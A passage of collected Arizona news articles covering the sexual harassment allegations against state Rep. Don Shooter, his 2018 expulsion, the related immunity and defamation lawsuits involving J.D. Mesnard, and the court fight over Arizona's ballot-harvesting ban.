It would take a vote of the Democratic Caucus to remove Rios, D-Phoenix, as their leader. Mesnard told the Arizona Capitol Times on Friday he would take the request “under advisement.”

Asked if he felt pressure to act on the lawmakers’ requests now that more representatives had signed the letter,  Mesnard told the Capitol Times today that his position remained unchanged.

“I’m going to make the best decision that I think is the fairest decision,” he said.

Republican Reps. Rusty Bowers, Anthony Kern, Darin Mitchell, Kevin Payne, Drew John, Mark Finchem, Noel Campbell and Travis Grantham signed the letter on Monday asking for Ugenti-Rita to be removed from her leadership role and for Rios, D-Phoenix, to be removed as the minority leader of the House Democratic Caucus.

Rep. Don Shooter (R-Yuma)
Rep. Don Shooter (R-Yuma)

Since Shooter was stripped of a leadership role pending the House’s investigation, it would only be right for the same to be done to Ugenti-Rita and Rios to “maintain equal treatment, consistency, and the integrity of the House policy,” Cobb, Norgaard, Nutt and Syms wrote in their letter.

Syms, a Paradise Valley Republican, told the Capitol Times failing to remove Ugenti-Rita and Rios from their leadership positions undermines the integrity of the investigation.

“If we’re going to remove one from leadership we have to remove all from leadership pending the investigation,” she said. “And I hope, and I’m encouraged, that House leadership will fully vet all of these claims and we will root out any sexual harassment that is found.”

Rep. Jill Norgaard (R-Phoenix)
Rep. Jill Norgaard (R-Phoenix)

Norgaard, who represents Phoenix’s Legislative District 18, said regardless of gender or political party, “nobody should be exempt from the rules.”

“If politicians are going to behave at a substandard level, then I think they need a time out,” Norgaard said.

Unlike Shooter, who’s been accused of sexual harassment, claims of wrongdoing against Ugenti-Rita and Rios pertain to alleged affairs with House staffers, and in Ugenti-Rita’s case, “inappropriate sexual comments made and recorded during a hearing,” the letter states. Those accusations were made by Shooter, who lashed out after Ugenti-Rita publicly named him as one of the men she claims have sexually harassed her while she’s served at the Legislature.

Rep. Ray Martinez (D-Phoenix)
Rep. Ray Martinez (D-Phoenix)

Rep. Ray Martinez, D-Phoenix, accused Rios in an ethics complaint of having an “inappropriate relationship” with a House staffer. His complaint stemmed from a political tussle with Rios over political endorsements. The four GOP representatives asked in their letter for the Democratic Caucus to “take immediate action” to remove Rios as minority leader.

“House Representatives serve the public and should not abuse their position by exerting power and influence over others, especially through sexual misconduct,” Cobb, Norgaard, Nutt and Syms wrote. “Sexual harassment, sexual assault and sexual relations with House staffers should not be tolerated under any circumstance.”

Assistant Minority Leader Rep. Randall Friese said the move is politically driven.

“Beyond politics I do not understand why Rep. Rios was included in this letter,” he said. “The Speaker does not have authority over the status of our caucus leadership. From what we understand, the ethics investigation is moving quickly and we hope for a swift resolution.”

Rios’ lawyer, Larry Wulkan, said the letter aimed to take the spotlight off Shooter.

“(F)our female Republican members have decided to divert attention away from the sexual harassment allegations against their Republican colleague,” he said. “Allegations against Representative Rios are based on rumor, speculation and political motivations.”

Kurt Altman, who is representing Ugenti-Rita in the investigation, declined to comment on the representatives’ request, but added he was “confident the speaker will do the right thing.”

Other representatives could not immediately be reached for comment.

Mesnard approves funding for legal expenses for lawmakers involved in sexual harassment inquiry

Four Arizona state representatives swept up in a sexual harassment investigation at the Capitol may hire attorneys paid for with public monies to represent them in the inquiry.

House Speaker J.D. Mesnard addresses his decision to suspend his Republican colleague Rep. Don Shooter from his duties as chairman of the House Appropriations committee on Nov. 10. Shooter's suspension came after several women publicly accused him of sexual harassment. (Photo by Katie Campbell/Arizona Capitol Times)
House Speaker J.D. Mesnard addresses his decision to suspend his Republican colleague Rep. Don Shooter from his duties as chairman of the House Appropriations committee on Nov. 10. Shooter’s suspension came after several women publicly accused him of sexual harassment. (Photo by Katie Campbell/Arizona Capitol Times)

House Speaker J.D. Mesnard, R-Chandler, gave Reps. Michelle Ugenti-Rita, Don Shooter, Rebecca Rios and Ray Martinez approval to hire their own individual attorneys to represent them during the House’s ongoing investigation.

Funding for the attorneys will be provided from the House budget, Mesnard said. The speaker added that he placed constraints on how much they each may spend on outside counsel, and that the funding will only be available as long as the House investigation continues. If there are other legal matters to attend to once the investigation concludes, the representatives will have to find another means to pay for those attorneys.

“All I’ve approved so far is for this investigation that’s happening, for attorneys to be provided up through that point, to pay for that,” Mesnard said.

Mesnard assembled a team of House staffers to spearhead the sexual harassment investigation. That team, in turn, hired attorney Craig Morgan to conduct interviews with witnesses, accusers and those accused of harassment. Morgan’s fees will similarly be paid for through the House budget. Lawmakers approved a $13.4 million budget for the chamber this fiscal year.

Shooter, the Yuma Republican who nine women have accused of some type of inappropriate behavior, has hired attorney Daniel Pasternak of Squire Patton Boggs. House GOP Spokesman Matt Specht said Shooter has not yet asked the chamber to cover his legal expenses.

Each legislator who received Mesnard’s approval for outside counsel has been accused of either sexual harassment or engaging in inappropriate relationships at the Capitol, except for Martinez.

Ugenti-Rita, a Scottsdale Republican, was the first to accuse Shooter of sexual harassment. Shooter then accused her of having an affair with a House staffer.

Rios, a Phoenix Democrat and House minority leader, was accused by Martinez of also having an inappropriate relationship with a House staffer.

Martinez was granted funding for an attorney given the fact that he filed the ethics complaint accusing Rios, Mesnard said. Martinez has hired outside counsel, but his attorney, William Fischbach of Tiffany Bosco, is working pro bono, according to Specht.

Reps. Athena Salman, D-Tempe, and Wenona Benally, D-Window Rock, also claimed they’d been harassed by Shooter, but neither requested funding to hire an attorney, according to Mesnard.

Mesnard asks for immunity from ousted member’s lawsuit

Former Rep. Don Shooter makes a point during a speech on the floor of the Arizona State House before the vote to expel him from the chamber on Feb. 1, 2018. (Photo by Howard Fischer/Capitol Media Services)
Former Rep. Don Shooter makes a point during a speech on the floor of the Arizona State House before the vote to expel him from the chamber on Feb. 1, 2018. (Photo by Howard Fischer/Capitol Media Services)

A former House speaker wants the state’s high court to rule that the concept of legislative immunity is so broad that he cannot be sued for defamation by ousted Rep. Don Shooter.

J.D. Mesnard, now a state senator, claims that he is absolutely protected from lawsuits over his decision to release an investigative report of Shooter, which concluded the Yuma Republican was guilty of sexual harassment of others, including lawmakers, lobbyists and even a newspaper publisher. That report became the basis for the 2018 House vote to expel Shooter.

Steve Tully, attorney for the Chandler Republican, said the same is true of Mesnard’s decision to issue a press release explaining his actions.

But Mesnard has so far failed to convince either the trial judge or the state Court of Appeals that the allegations in Shooter’s complaint fit neatly within the areas of legal immunity. Instead they have decided that there should be hearings to explore the issues further

That move not only could cost Mesnard money both in legal fees and, potentially, a court verdict, but also publicly expose what Shooter contends are provisions of the original report that he says Mesnard removed.

J.D. Mesnard
J.D. Mesnard

Mesnard wants the case tossed now. So he is making a last-ditch effort to convince the Arizona Supreme Court to conclude that he has immunity and Shooter’s claims should be dismissed.

What the high court decides could affect more than this case. It could set the standards for the circumstances when lawmakers can – and cannot – use their immunity to avoid being sued.

Mesnard’s petition to the state’s high court is the latest action in a series of events that started with the vote by the House to oust Shooter and continue in a series of legal actions. That includes a still-pending federal court lawsuit over whether lawmakers are entitled to certain procedural due process protections before they can be ousted.

This case, however, focuses on narrower questions.

It starts with the report the House commissioned to look into various allegations of sexual harassment.

Attorneys for Shooter contend that the report presented to lawmakers – the one that resulted in the vote to expel him – was “materially altered” from what the outside investigators originally produced.

Among the items missing from the final report, the lawsuit says, is evidence that then-Rep. Michelle Ugenti-Rita, who had been one of Shooter’s accusers, had herself sexually harassed a female former legislative staffer. That information, Shooter contends, could have undermined Ugenti-Rita’s credibility.

Shooter also claims that the press release issued by Mesnard about the report contained “false and misleading statements.” That, Shooter said, was defamatory because it made him appear to be untruthful.

But if Mesnard gets his way and the Supreme Court decides he’s absolutely immune from being sued, all that will be legally irrelevant.

Tully, a former lawmaker himself, conceded that there is no specific provision in the Arizona Constitution granting broad immunity to state legislators. What there is, however, is a section saying that lawmakers are not liable in any civil or criminal prosecution “for words spoken in debate.”

Tully told the Supreme Court that the question that needs to be resolved is whether a lawmaker’s actions “fall within the sphere of legitimate legislative activity.” If they do, he said, the “speech and debate clause” of the Arizona Constitution prohibits them from even being questioned about them, much less sued.

He argues that covers not just pure speech during legislative sessions. Tully said that includes legislators “performing a legislative function.”

In this case, he said, the investigation was conducted and the report was prepared as part of the constitutional power of the House to investigate claims against its own members.

“The report was an integral part of the work of the investigation and well within the legislative sphere,” Tully told the justices. “It is no more subject to a claim of defamation than any other report or transcript of proceedings created by the Legislature.”

And Tully denies that Mesnard either altered the report himself or directed investigators to make changes.

The press release presents different issues. But Tully said this, too, is protected because it “occurred during a legislative session and concerned legislative matters.

“It was issued from the speaker’s office on government letterhead,” he argued.

“It informed the public of the actions taken by the speaker in response to actions taken by Shooter as a member of the Arizona House of Representatives,” Tully continued. “The quotes contained in the press release explained the actions of the speaker.”

Put another way, he said that in a representative democracy that constituents are entitled to know the reason that a legislator took certain actions.

“In this case the press release was within the outer perimeter of Mesnard’s line of duty,” Tully said. “As such, Mesnard is entitled to legislative immunity for the contents of the press release.”

The justices have not said when they will consider the issue.

Mesnard has privilege in talks with Ugenti-Rita

A Maricopa County Superior Court judge ruled on November 18 that Sen. J.D. Mesnard, R-Chandler, has legislative privilege and doesn’t have to answer questions about conversations he had with Sen. Michelle Ugenti-Rita, R-Scottsdale, while he was speaker of the House and the expulsion of then-Rep. Don Shooter was pending. 

Judge Sally Duncan’s ruling came as part of a lawsuit Ugenti-Rita filed against Shooter in 2018 and counter-claim Shooter filed against her. Ugenti-Rita’s claims are in connection with Shooter’s sexual harassment of her, and Shooter accuses her of spreading malicious lies and defaming him when she publicly accused him of sexual harassment. 

Attorney Jennifer Rebholz, who represents Shooter, said in oral arguments that the conversations they want to ask Mesnard about do not refer to legislation, and therefore should not be covered under legislative privilege, which Mesnard has invoked to avoid answering dozens of questions.  

Mesnard’s attorney Steve Tully said that the information was irrelevant. 

 “It’s an attempt to get leverage. Shooter is trying to get leverage over Ms. Ugenti-Rita and force her to dismiss her claim,” Tully said.  

Ugenti-Rita said that male colleagues sexually harassed her on multiple occasions since 2011 and accused Shooter publicly on Twitter in 2017. More than 10 other women came forward with similar allegations against Shooter since Ugenti-Rita’s Tweet named him.   

 Shooter denies the allegations against him and has said that Ugenti-Rita was paid “dark money” to accuse him for “congressional aspirations.”  

The House voted 56-3 on February 1, 2018, to oust Shooter after an investigative report commissioned by Mesnard found “credible evidence” that he violated anti-harassment policies with Ugenti-Rita, at the time a state representative. That included making sexual comments and suggestions.  

The investigators also found incidents of harassment and improper conduct or comments involving others, including a lobbyist, a newspaper staffer, and the former publisher of The Arizona Republic. 

In a separate lawsuit, he accuses Mesnard of defamation. Mesnard removed Shooter from chair and committee assignments, but did not remove Ugenti-Rita from any committees when she was accused of sexually harassing an unnamed lobbyist. 

Shooter’s attorneys argue that there is a disparity in the way that accusations of sexual harassment against him were handled and the way similar allegations against Ugenti-Rita and Senate Minority Leader Rebecca Rios, D-Phoenix, among others were handled, which Ugenti-Rita’s attorneys maintain is not relevant to the case.  

The trial date is set for June 5, 2023. Both parties said they have no plans to settle before then. If the case goes to trial it will be five and a half years after Ugenti-Rita first accused Shooter of sexual harassment in 2017. 

Mesnard seeks immunity from Shooter lawsuit

Former Rep. Don Shooter makes a point during a speech on the floor of the Arizona State House before the vote to expel him from the chamber on Feb. 1, 2018. (Photo by Howard Fischer/Capitol Media Services)

The Arizona Supreme Court has agreed to decide the scope of immunity provided to state lawmakers.

Without comment the justices on December 16 agreed to hear arguments by former House Speaker J.D. Mesnard that he cannot be sued by ousted state Rep. Don Shooter because he released an investigative report nearly three years ago concluding that the Yuma Republican was guilty of sexual harassment of others. Mesnard claims that falls “within the sphere of legitimate legislative activity” which generally immunizes legislators from legal action.

The court also has agreed to decide whether that “sphere” covers the separate decision by Mesnard, now a state senator representing Chandler, to issue a press release explaining his actions.

Shooter contends that release falls outside any official legislative action. And that, he argues, allows him to sue Mesnard over alleged “false and misleading statements” about the report and its findings.

The Supreme Court likely is Mesnard’s last remaining effort to have the lawsuit filed by Shooter dismissed.

Mesnard’s attorney, Steve Tully, has made the same arguments to both a trial judge and the state Court of Appeals. But in both cases the courts declined to grant blanket immunity and said they needed to hear more before deciding whether Mesnard’s actions are legally shielded.

That, however, means Mesnard continues to accumulate legal fees.

If Shooter gets to proceed with his case, that could publicly expose what the former lawmaker contends are provisions of the original report that were favorable to him, provisions he says Mesnard removed before it was presented to lawmakers and the public.

J.D. Mesnard
J.D. Mesnard

That report was the basis of a 57-3 vote by the House in early 2018 to expel Shooter.

Attorneys for Shooter contend that report was “materially altered” from what the outside investigators originally produced.

Among the items missing from the final report, the lawsuit says, is evidence that then-Rep. Michelle Ugenti-Rita, who had been one of Shooter’s accusers, had herself sexually harassed a female former legislative staffer. That information, Shooter contends, could have undermined Ugenti-Rita’s credibility.

And Shooter says Mesnard’s press release, with its alleged false and misleading statements, was defamatory because it made him appear to be untruthful.

But if Mesnard gets his way and the Supreme Court decides he’s absolutely immune from being sued, all that will be legally irrelevant.

There is no specific provision in the Arizona Constitution granting broad immunity to state legislators. What there is, however, is a section saying that lawmakers are not liable in any civil or criminal prosecution “for words spoken in debate.”

Tully, himself a former legislator, told the Supreme Court that the question that needs to be resolved is whether a lawmaker’s actions “fall within the sphere of legitimate legislative activity.” If they do, he said, the “speech and debate clause” of the Arizona Constitution prohibits them from even being questioned about them, much less sued.

He argues that covers not just pure speech during legislative sessions. Tully said that includes legislators “performing a legislative function.”

In this case, he said, the investigation was conducted and the report was prepared as part of the constitutional power of the House to investigate claims against its own members.

“The report was an integral part of the work of the investigation and well within the legislative sphere,” Tully told the justices.

But Shooter’s lawyers said that all changed due to “Mesnard’s surreptitious editing” of the report to remove exculpatory information about Shooter.

“Mesnard was not performing a legislative function but rather was engaged in an attack on Shooter,” wrote attorney Philip Byler.

Tully, however, denies that Mesnard either altered the report himself or directed investigators to make changes.

Mesnard’s attorney also contends the press release is protected because it “occurred during a legislative session and concerned legislative matters.”

“It was issued from the speaker’s office on government letterhead,” Tully argued. “It informed the public of the actions taken by the speaker in response to actions taken by Shooter as a member of the Arizona House of Representatives.”

Byler, however, said the press release was not legislative but “political in nature,” similar to lawmakers preparing newsletters for constituents and speeches delivered outside the legislative chambers.

“While these are legitimate actions for a legislator to perform, the U.S. Supreme Court has held they are not protected by the privilege,” Byler told the justices.

No date has been set for the hearing.

Motive behind ‘ballot harvest’ law crux of SCOTUS debate

Voters deliver their ballot to a polling station, Tuesday, Nov. 3, 2020, in Tempe, Ariz. (AP Photo/Matt York)
Voters deliver their ballot to a polling station, Tuesday, Nov. 3, 2020, in Tempe, Ariz. (AP Photo/Matt York)

The question of whether Arizona gets to keep its ban on “ballot harvesting” could turn on  what was in the mind of a now-ejected state legislator who first proposed the law and how that affected his colleagues.

During a two-hour hearing Tuesday, some of the justices of the U.S. Supreme Court were told that it was then-Sen. Don Shooter who first attempted in 2011 to make it a crime for anyone to collect anyone else’s voted ballot and take it to polling places. That came a year after Shooter had won his 2010 election with just 53% of the vote — receiving 83% of the non-minority vote but only 20% of the Hispanic vote.

It took five more years for lawmakers to actually pass the ballot harvesting law. But when it was challenged, Judge William Fletcher of the 9th Circuit Court of Appeals cited the early effort and concluded Shooter was “in part motivated by a desire to eliminate what had become an effective Democratic GOTV strategy.”

And Fletcher said nothing really changed between 2011 and 2016.

“Republican legislators were motivated by the unfounded and often far-fetched allegations of ballot collection fraud made by former Sen. Shooter,” the judge wrote.

Attorney General Mark Brnovich, defending the statute before the high court, told the justices that’s irrelevant.

Mark Brnovich
Mark Brnovich

“You cannot impugn motive to one legislator to a group of 90 independent, co-equal actors spread across two houses in the legislature,” he said. And Brnovich said the law is a legitimate effort by lawmakers to minimize the possibility of fraud or coercion when political groups go door-to-door and seek to take someone’s ballot.

Brnovich also said there’s nothing inherent in the law that decreases the opportunity for minorities to vote which he said is the test under Section 2 of the Voting Rights Act, regardless of whether there is some evidence that minorities are more likely to depend on someone else to take their early ballots to the polls.

But his arguments weren’t helped by Michael Carvin who is representing the Arizona Republican Party, which was granted the right to intervene to help defend the 2016 law. He was asked by Justice Amy Coney Barrett why his client is in the case.

“Because it puts us at a competitive disadvantage relative to Democrats,” he acknowledged.

“Politics is a zero-sum game,” Carvin continued. “And every extra vote they get through unlawful interpretations of Section 2 hurts us. It’s the difference between winning an election 50 to 49 and losing an election.”

That, in turn, goes to another finding by the 9th Circuit last year in voiding the law. Fletcher said the record shows that prior to 2016 minorities were more likely than non-minorities to get someone else to turn in their ballots. By contrast, Fletcher wrote, “the Republican Party has not significantly engaged in ballot collection as a get-out-the-vote strategy.”

There are some indications that the conservative justices may defer to the decision of Arizona lawmakers in enacting the 2016 law. But there are facts that complicate the issue.

One is that there was no actual evidence of fraud cited by Arizona lawmakers in enacting the law. In fact, statutes already on the books made it a crime to refuse to turn in someone else’s ballot.

But then-Rep. J.D. Mesnard, R-Chandler, argued that is irrelevant.

“What is indisputable is that many people believe it’s happening,” he told colleagues during floor debate. “And I think that matters.”

Don Shooter
Don Shooter

And Brnovich cited the 2005 recommendations of the Commission on Federal Elections Reform, co-chaired by former President Jimmy Carter, a Democrat, which said states should prohibit outsiders from handling absentee ballots of others.

Anyway, Brnovich told the justices, it’s not like this law — and the other challenged one that says ballots cast in the wrong precinct are not counted — significantly impact the ability of minorities to vote.

He acknowledged there are “slight statistical differences” in how both laws affect minorities. But Brnovich said the court needs to look at the totality of the circumstances.

“No one was denied the opportunity,” he said.

He said the state provides many ways of voting, including early voting and at voting centers ahead of Election Day. And the state has a “no excuse absentee balloting,” meaning that anyone can ask for an early ballot by mail.

“So there are a whole plethora of options in ways for people to exercise their right to the franchise,” Brnovich said.

Chief Justice John Roberts specifically asked attorney Jessica Ring Amunson why that report by the commission that Carter co-chaired does not provide enough reason for lawmakers to ban ballot harvesting. She represents Secretary of State Katie Hobbs who has taken the position that both the ban on ballot harvesting and the prohibition on counting votes cast in the wrong precinct violate federal law.

“States can have an interest in securing their elections through limiting ballot collections,” Amunson responded. “But when you look at the particular fact here, that does not appear to have been Arizona’s interest.”

Bruce Spiva, attorney for the Democratic National Committee, which filed the original suit, underlined the point, saying there’s nothing in the legislative record to suggest lawmakers were persuaded by anything in that commission report. And he emphasized that legislators also had no evidence of voter fraud before enacting the 2016 law.

Amunson said there is something the court does need to consider.

“What we have is a record that shows that Native Americans and Latinos in Arizona rely disproportionately on ballot collection and white voters do not,” she said. And that, Amunson said, comes back to Shooter.

“The entire purpose of introducing the law by Sen. Shooter was to keep Hispanics in his district from voting and was premised on far-fetched racially tinged allegations that Latinos in the district were engaging in fraud with respect to ballot collection,” Amunson said.

Shooter, who later was elected to the state House, is no longer a legislator. He was expelled by his colleagues in 2018 after being accused of violating policies against sexual harassment.

Amunson also told the justices they should take note the admission by Carvin about the political nature of this legal fight.

“Candidates and parties should be trying to win over voters on the basis of their ideas, not trying to remove voters from the electorate by imposing unjustified and discriminatory burdens,” she said.

There was some indication that the justices could end up with a split decision on the two issues.

On one hand, they noted, the 2016 law changed long-standing practices allowing ballot harvesting. That might be considered an affirmative violation of the Voting Rights Act.

By contrast, they noted the policy of counting only the votes cast at the right precinct dates back to 1970. And Brnovich argued that is necessary to properly administer the voting system.

He also said that the extent of the impact of that law is minimal, saying that in the 2016 election there were only 3,970 ballots that were rejected because they were cast in the wrong precinct out of more than 2.6 million votes cast by all methods, including early and day-of voting.

But Amunson said the important thing for the justices to consider is the evidence that minority voters were twice as likely to have their ballots rejected because of being in the wrong precinct than white voters.

A ruling may not occur until June.

Ninth Circuit Court to hear case on Arizona ballot harvest ban

ballot-harvesting-620

A federal appeals court is going to give Democrats a new chance to argue that an Arizona law banning “ballot harvesting” is illegal.

In a brief order, the majority of the judges on the 9th Circuit Court of Appeals said they want to review and reconsider a 2-1 ruling by one of their panels last year that upheld the 2016 law that bars Arizonans from collecting and delivering the ballots of others.

In that ruling, the majority brushed aside complaints from the state and national Democratic parties that the Republican-controlled Legislature had no evidence of fraud from the practice. Nor were they persuaded by arguments that the restriction has a harsher effect on the voting rights of minorities than Arizona residents in general.

Judge Sandra Ikuta, writing for the majority in that decision, did say there was reason to believe that the change was approved, at least in part, by “partisan considerations.” But Ikuta said that fact does not make the law unconstitutional.

The order does not mean that a full panel of 11 judges intends to override what Ikuta wrote for herself and Judge Carlos Bea. But it is relatively rare for the full court to grant such review.

No date has been set for a hearing.

In a prepared statement, a spokeswoman for Attorney General Mark Brnovich said her boss is unconcerned with the court reviewing the earlier ruling.

“The state of Arizona has successfully defended this important common-sense law for nearly three years and will continue to defend the rule of law,” said Katie Conner.

What’s behind “ballot harvesting” is the fact that most Arizonans receive early ballots. They can be filled out and mailed back or delivered to polling places on Election Day.

But the law requires mailed ballots to be delivered by 7 p.m. on Election Day. So anything dropped in a mailbox within a week or so may not get counted.

Political and civic groups have in recent years gone into neighborhoods, asking people if they have returned their ballots and, if not, offered to take it to polling places on their behalf.

But Republicans, in approving HB 2023 to ban the practice in 2016, argued that presents too many opportunities for mischief.

The law does have exceptions for family members, those living in the same household, and caregivers for those in nursing homes and similar facilities.

During the debate, however, supporters of the ban did not cite a single confirmed incident where a ballot was altered or did not get delivered. In fact, Rep. J.D. Mesnard, R-Chandler, argued it’s irrelevant whether there is fraud or not.

“What is indisputable is that many people believe it’s happening,” he said. “And I think that matters.”

The challengers to the law already have one important voice on their side: Chief Judge Sidney Thomas.

In his dissent on the original ruling, Thomas said his colleagues ignored evidence presented.

“Arizona’s policy of wholly discarding – rather than partially counting – votes cast out-of-precinct has a disproportionate effect on racial and ethnic minority groups,” he wrote, unconstitutionally burdening the right to vote. And Thomas said the data produced by Democrats on the ban on ballot harvesting, complete with penalties of a year in prison and a $150,000 fine, “serves no purpose aside from making voting more difficult, and keeping more African American, Hispanic, and Native American voters from the polls than white voters.”

And Thomas derided the evidence cited by some lawmakers in supporting the ban.

He specifically mentioned claims by Don Shooter, then a Republican state senator from Yuma, that ballot collectors steam open sealed envelopes and decide whether to submit them based on what was inside. Even U.S. District Court Judge Douglas Rayes, who first reviewed the complaint, found that “demonstrably false,” with the trial judge saying Shooter’s views were “implicitly informed by racial biases.”

“And if Sen. Shooter was insincere, he purposely distorted facts in order to prevent Hispanics — who generally preferred his opponent – from voting,” Thomas said.

Thomas was no more impressed by a soundless video produced by A.J. LaFaro, who was chairman of the Maricopa County Republican Party. The judge said it showed nothing illegal but was accompanied by a voice-over from LaFaro claiming the man was acting to stuff the ballot box.

The new legal development in the Arizona comes as the practice of ballot harvesting has drawn national attention with the results of a North Carolina congressional race being delayed by an investigation into whether Republicans there illegally collected the ballots of minority voters and then purposely failed to turn them in.

But attorney Spencer Scharff who represents Democratic interests in a separate challenge to the ballot harvesting law, said whatever mischief that took place in North Carolina is irrelevant and should not be used as an excuse to allow Arizona lawmakers to ban the practice here.

“There are numerous laws currently on the books, both state and federal, that properly regulate criminal behavior as it relates to elections,” he said. And Scharff said that’s not just true in North Carolina.

“Before they passed HB 2023 it was already a crime to tamper with someone’s ballot, to steal someone’s ballot,” he said. “It was already a crime to collect someone’s ballot and then fail to deliver it, effectively stealing that ballot.”

What that leaves, Scharff said, are simply the additional hurdles that a ban on ballot harvesting creates for voters.

Scharff is representing Democratic activist Rivko Knox in a separate challenge to the ballot harvesting law. She argues it interferes with her First Amendment rights and contends that the Arizona law illegally infringes on the exclusive right of the federal government to regulate who can deliver mail.

That argument fared no better before the same three-judge panel, with even Thomas rejecting those arguments. Scharff is filing his own separate bid to have the full 9th Circuit review the ruling.

Number of women who accuse Rep. Shooter of sexual harassment climbs

This Feb. 14, 2017, file photo shows Arizona state Rep. Don Shooter, R-Yuma, on the House floor at the Capitol in Phoenix. (AP Photo/Bob Christie,File)
This Feb. 14, 2017, file photo shows Arizona state Rep. Don Shooter, R-Yuma, on the House floor at the Capitol in Phoenix. (AP Photo/Bob Christie,File)

Another woman has joined a groundswell of sexual harassment allegations against a prominent Republican state lawmaker.

Tara Zika, a 26-year-old business development director at risk management firm Ashton Tiffany, said Shooter, 65, made inappropriate sexual comments and gestures at her several times over the course of one day at the League of Arizona Cities and Towns conference in August 2017.

Zika reached out to the Arizona Capitol Times after previous reporting of women who experienced harassment from Shooter, who chairs the Arizona House’s budget committee.

In total, nine women have alleged some type of inappropriate behavior by Shooter, ranging from sexually charged comments to unwanted touching. The women include three lawmakers, lobbyists, a former Capitol Times intern and the publisher of the Arizona Republic, Mi-Ai Parrish.

After the allegations became public, the Arizona House started investigations into the alleged incidents and suspended Shooter from his duties as the House appropriations chairman.

Tara Zika
Tara Zika

Zika said she initially didn’t know who Shooter was. He was standing with a handful of other men when they waved her over to their table. As she was walking over, Shooter blew her a kiss, and he made a sexually suggestive comment about her legs, she alleges. She immediately turned around and left.

She later walked by Shooter. Zika alleges Shooter made a crude remark about wanting to have sex with her. He tried to pretend he didn’t say anything and acted playfully, she said. She rolled her eyes and kept walking away, she said.

But that wasn’t the end of it.

As she was walking away, she got nervous he may be following her to her hotel room, so she turned around to make sure he wasn’t, Zika said.

She saw him make a gesture meant to mimic oral sex on a woman, she alleges.

She didn’t let it go. She walked back to him and told him he was being creepy and disrespectful. He asked if she knew who he was, but she replied that it didn’t matter — his behavior was unacceptable regardless of who he was, she said.

He then apologized, saying he didn’t realize she was so sensitive, she said. She told him not to speak to her or look at her again.

During the rest of the conference, he would mock her whenever he saw her by throwing up his hands in a surrendering gesture and saying he “wasn’t doing anything,” she said.

“It’s undermining and it’s humiliating,” she said.

Two sources, Zika’s boyfriend and a friend, who did not want to be named for this story, confirmed she told them about the incident with Shooter shortly after it happened. They both said she called them and was upset with what had happened.

Additionally, Zika sent the Capitol Times screenshots of text messages she sent to a colleague the day after the incidents occurred specifically identifying Shooter, by photo, as the person she encountered at the conference.

Melissa Ho, the attorney Shooter had hired to represent him, told the Capitol Times today that she was no longer representing him. Shooter’s new attorney, Daniel Pasternak of Squire Patton Boggs, did not respond to a request for comment.

This is the second instance of harassment alleged to have occurred at a League of Arizona Cities and Towns conference by Shooter.

One woman previously told the Capitol Times that Shooter grabbed her buttocks at a League conference in 2015, which another conference attendee corroborated.

House Speaker J.D. Mesnard suspended Shooter from his role as chairman of the powerful House Appropriations committee Friday as multiple investigations into the allegations against Shooter continue. While an in-house bipartisan investigative team was initially tasked with looking into the allegations, Mesnard said outside investigators will be hired based on the “number and nature” of the claims against Shooter.

The Arizona Chamber of Commerce and Industry also said Friday it believes Shooter should resign. Chamber spokesman Garrick Taylor said the group supports Mesnard’s decision to investigate all claims of harassment as a way to make it clear elected officials should be held to high standards.

For Zika, staying silent wasn’t an option. While she said she does fear retaliation for speaking out, she doesn’t want the behavior to be allowed to continue.

“This isn’t right to subject women to this type of environment and dismiss it. It’s not right,” she said.

Ousted lawmaker takes case to 9th Circuit

Don Shooter awaits a vote by the state House on whether to expel him on Feb. 1, 2018. He was later removed from office by a vote of 56-3. (Photo by Katie Campbell/Arizona Capitol Times)
Don Shooter awaits a vote by the state House on whether to expel him on Feb. 1, 2018. He was later removed from office by a vote of 56-3. (Photo by Katie Campbell/Arizona Capitol Times)

Former Rep. Don Shooter has hired new legal help in his claim he was wrongfully ousted from the House, a firm that has built a reputation on defending civil rights of college students accused of sexual misconduct.

Attorney Stuart Bernstein told Capitol Media Services he hopes to prove that a federal judge got it wrong when he threw out the lawsuit filed by the Yuma Republican. Bernstein said there is plenty of legal precedent to show that the process used by the state House to expel him early in 2018 were legally insufficient.

And even if that claim fails, Shooter has separate legal claims pending in Maricopa County Superior Court against former House Speaker J.D. Mesnard and Kirk Adams, the former chief of staff to Gov. Doug Ducey. These allege that Shooter was improperly ousted “in retaliation for his investigation into corruption at the highest levels of the Arizona Legislature” according to Andrew Miltenberg, another of Shooter’s new lawyers.

A press statement by the law firm says Miltenberg and Bernstein “specialize in due process violations by universities and other organizations throughout the country.” It also says they are currently representing students and faculty at several institutions including Columbia University, Princeton University and University of Southern California.

Shooter told Capitol Media Services he was quite aware of their client list and their reputation.

“It’s why I hired them,” he said. “I hired them because they defend people whose rights have been trampled on.”

J.D. Mesnard
J.D. Mesnard

Shooter said he is not concerned about going to court with attorneys who have made a name for themselves by representing male students who have been accused of assaulting and harassing women on campus.

“Maybe every guy that was accused by some girl was guilty,” he said.

“I don’t know,” Shooter continued. “But don’t you think you ought to give them a chance to state their case?”

And that, said Shooter, is precisely what is at issue in his case and why his new lawyers are a perfect fit.

“I was the first legislator in the history of the United States to be thrown out of office without a committee hearing,” he said.

That goes to how the complaints of sexual harassment against Shooter were handled by Mesnard.

In general, the procedure for discipline of legislators that had been followed until last year was that someone accused of misconduct would get a hearing before the House Ethics Committee. That also would provide the legislator or his or her lawyer the chance to question witnesses.

The Ethics Committee would then make a recommendation to the full House whether there were sufficient facts to conclude there was misconduct and, if so, what would be the appropriate punishment. That could range from a reprimand or censure to expulsion.

In Shooter’s case, Mesnard hired outside council to prepare a report for the full House. There were no hearings, with the House voting to oust Shooter based on what was in the report.

U.S. District Court Judge Dominic Lanza threw out the civil rights claim earlier this year, ruling that there is no clear settled law that legislators have a right to ask a federal court to intercede in matters involving their removal. And that, the judge wrote, means that Mesnard and Adams are entitled to qualified immunity for any actions they say they took in their official capacity.

But Bernstein said his law firm has won a number of cases in federal appellate court overturning decisions where trial judges said individuals cannot pursue civil rights claims.

Those most notably include male students who have been kicked out of universities after facing charges of sexual assault. Bernstein said the issues there – and here – deal with the due process rights of the accused.

Bernstein conceded that there is really no way for any court to overturn the House vote to oust Shooter. But he said there are other reasons to pursue the case.

“While we may not be able to get him seated again, we certainly can clear his name,” Bernstein said.

Kirk Adams
Kirk Adams

And there’s something else. Bernstein said that the process could “shed light on what he was looking to do before all the shenanigans took place.”

That goes to Shooter’s claim that the charges of sexual harassment against him by another lawmaker, some lobbyists and others was really part of a plan to keep him from looking at no-bid contracts being awarded by the state. If he gets to take his case to court, Shooter’s attorneys will have an opportunity to demand certain documents that he claims are relevant to the case.

